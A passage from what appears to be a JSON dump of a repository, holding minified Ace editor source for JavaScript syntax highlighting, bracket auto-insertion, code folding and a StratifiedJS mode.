?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/sjs_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=new i({noES6:!0}),t=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\",n=function(e){return e.isContextAware=!0,e},r=function(e){return{token:e.token,regex:e.regex,next:n(function(t,n){return n.length===0&&n.unshift(t),n.unshift(e.next),e.next})}},s=function(e){return{token:e.token,regex:e.regex,next:n(function(e,t){return t.shift(),t[0]||\"start\"})}};this.$rules=e.$rules,this.$rules.no_regex=[{token:\"keyword\",regex:\"(waitfor|or|and|collapse|spawn|retract)\\\\b\"},{token:\"keyword.operator\",regex:\"(->|=>|\\\\.\\\\.)\"},{token:\"variable.language\",regex:\"(hold|default)\\\\b\"},r({token:\"string\",regex:\"`\",next:\"bstring\"}),r({token:\"string\",regex:'\"',next:\"qqstring\"}),r({token:\"string\",regex:'\"',next:\"qqstring\"}),{token:[\"paren.lparen\",\"text\",\"paren.rparen\"],regex:\"(\\\\{)(\\\\s*)(\\\\|)\",next:\"block_arguments\"}].concat(this.$rules.no_regex),this.$rules.block_arguments=[{token:\"paren.rparen\",regex:\"\\\\|\",next:\"no_regex\"}].concat(this.$rules.function_arguments),this.$rules.bstring=[{token:\"constant.language.escape\",regex:t},{token:\"string\",regex:\"\\\\\\\\$\",next:\"bstring\"},r({token:\"paren.lparen\",regex:\"\\\\$\\\\{\",next:\"string_interp\"}),r({token:\"paren.lparen\",regex:\"\\\\$\",next:\"bstring_interp_single\"}),s({token:\"string\",regex:\"`\"}),{defaultToken:\"string\"}],this.$rules.qqstring=[{token:\"constant.language.escape\",regex:t},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},r({token:\"paren.lparen\",regex:\"#\\\\{\",next:\"string_interp\"}),s({token:\"string\",regex:'\"'}),{defaultToken:\"string\"}];var o=[];for(var u=0;u<this.$rules.no_regex.length;u++){var a=this.$rules.no_regex[u],f=String(a.token);f.indexOf(\"paren\")==-1&&(!a.next||a.next.isContextAware)&&o.push(a)}this.$rules.string_interp=[s({token:\"paren.rparen\",regex:\"\\\\}\"}),r({token:\"paren.lparen\",regex:\"{\",next:\"string_interp\"})].concat(o),this.$rules.bstring_interp_single=[{token:[\"identifier\",\"paren.lparen\"],regex:\"(\\\\w+)(\\\\()\",next:\"bstring_interp_single_call\"},s({token:\"identifier\",regex:\"\\\\w*\"})],this.$rules.bstring_interp_single_call=[r({token:\"paren.lparen\",regex:\"\\\\(\",next:\"bstring_interp_single_call\"}),s({token:\"paren.rparen\",regex:\"\\\\)\"})].concat(o)};r.inherits(o,s),t.SJSHighlightRules=o}),define(\"ace/mode/sjs\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/sjs_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./sjs_highlight_rules\").SJSHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/sjs\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-smarty.js",
